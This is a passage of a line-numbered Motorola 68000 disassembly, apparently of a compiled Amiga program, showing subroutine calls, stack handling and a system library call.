  1619.     JSR    20(A5)            ;1284: 4EAD0014
  1620.     JSR    -1638(A3)        ;1288: 4EABF99A
  1621.     MOVE.L    #$00680000,(A5)        ;128C: 2ABC00680000
  1622.     JSR    20(A5)            ;1292: 4EAD0014
  1623.     PEA    3888(A5)        ;1296: 486D0F30
  1624.     JSR    LAB_0044        ;129A: 4EB9000012C2
  1625.     ADDQ    #4,A7            ;12A0: 584F
  1626.     MOVE.L    #$00690000,(A5)        ;12A2: 2ABC00690000
  1627.     JSR    20(A5)            ;12A8: 4EAD0014
  1628.     MOVEQ    #0,D7            ;12AC: 7E00
  1629.     JSR    -840(A3)        ;12AE: 4EABFCB8
  1630.     MOVE.L    #$006D0000,(A5)        ;12B2: 2ABC006D0000
  1631.     JSR    20(A5)            ;12B8: 4EAD0014
  1632.     BRA    LAB_0046        ;12BC: 60000076
  1633.     NOP                ;12C0: 4E71
  1634. LAB_0044:
  1635.     LINK    A4,#0            ;12C2: 4E540000
  1636.     CMPA.L    300(A5),A7        ;12C6: BFED012C
  1637.     BHI.S    LAB_0045        ;12CA: 6204
  1638.     JSR    -2742(A3)        ;12CC: 4EABF54A
  1639. LAB_0045:
  1640.     MOVE.L    #$006F0000,(A5)        ;12D0: 2ABC006F0000
  1641.     JSR    20(A5)            ;12D6: 4EAD0014
  1642.     MOVE.L    8(A4),-(A6)        ;12DA: 2D2C0008
  1643.     MOVE.L    8(A4),-(A6)        ;12DE: 2D2C0008
  1644.     MOVEQ    #0,D7            ;12E2: 7E00
  1645.     JSR    -1728(A3)        ;12E4: 4EABF940
  1646.     JSR    -1572(A3)        ;12E8: 4EABF9DC
  1647.     JSR    -240(A3)        ;12EC: 4EABFF10
  1648.     JSR    -930(A3)        ;12F0: 4EABFC5E
  1649.     MOVE.L    #$00700000,(A5)        ;12F4: 2ABC00700000
  1650.     JSR    20(A5)            ;12FA: 4EAD0014
  1651.     MOVE.L    8(A4),D7        ;12FE: 2E2C0008
  1652.     JSR    -1560(A3)        ;1302: 4EABF9E8
  1653.     MOVE.L    D7,-(A6)        ;1306: 2D07
  1654.     MOVEQ    #0,D7            ;1308: 7E00
  1655.     MOVE.L    D7,-(A6)        ;130A: 2D07
  1656.     MOVEQ    #0,D7            ;130C: 7E00
  1657.     MOVE.L    D7,D3            ;130E: 2607
  1658.     MOVE.L    (A6)+,D2        ;1310: 241E
  1659.     MOVE.L    (A6)+,D1        ;1312: 221E
  1660.     MOVE.L    A6,-(A7)        ;1314: 2F0E
  1661.     MOVEA.L    366(A5),A6        ;1316: 2C6D016E
  1662.     JSR    -222(A6)        ;131A: 4EAEFF22
  1663.     MOVEA.L    (A7)+,A6        ;131E: 2C5F
  1664.     MOVE.L    D0,D7            ;1320: 2E00
  1665.     MOVE.L    D7,3944(A5)        ;1322: 2B470F68
  1666.     MOVE.L    #$00710000,(A5)        ;1326: 2ABC00710000
  1667.     JSR    20(A5)            ;132C: 4EAD0014
  1668.     UNLK    A4            ;1330: 4E5C
  1669.     RTS                ;1332: 4E75
  1670. LAB_0046:
  1671.     MOVE.L    #$00BD0000,(A5)        ;1334: 2ABC00BD0000
  1672.     JSR    20(A5)            ;133A: 4EAD0014
  1673.     MOVEQ    #0,D7            ;133E: 7E00
  1674.     JSR    -840(A3)        ;1340: 4EABFCB8
  1675.     END
  1676.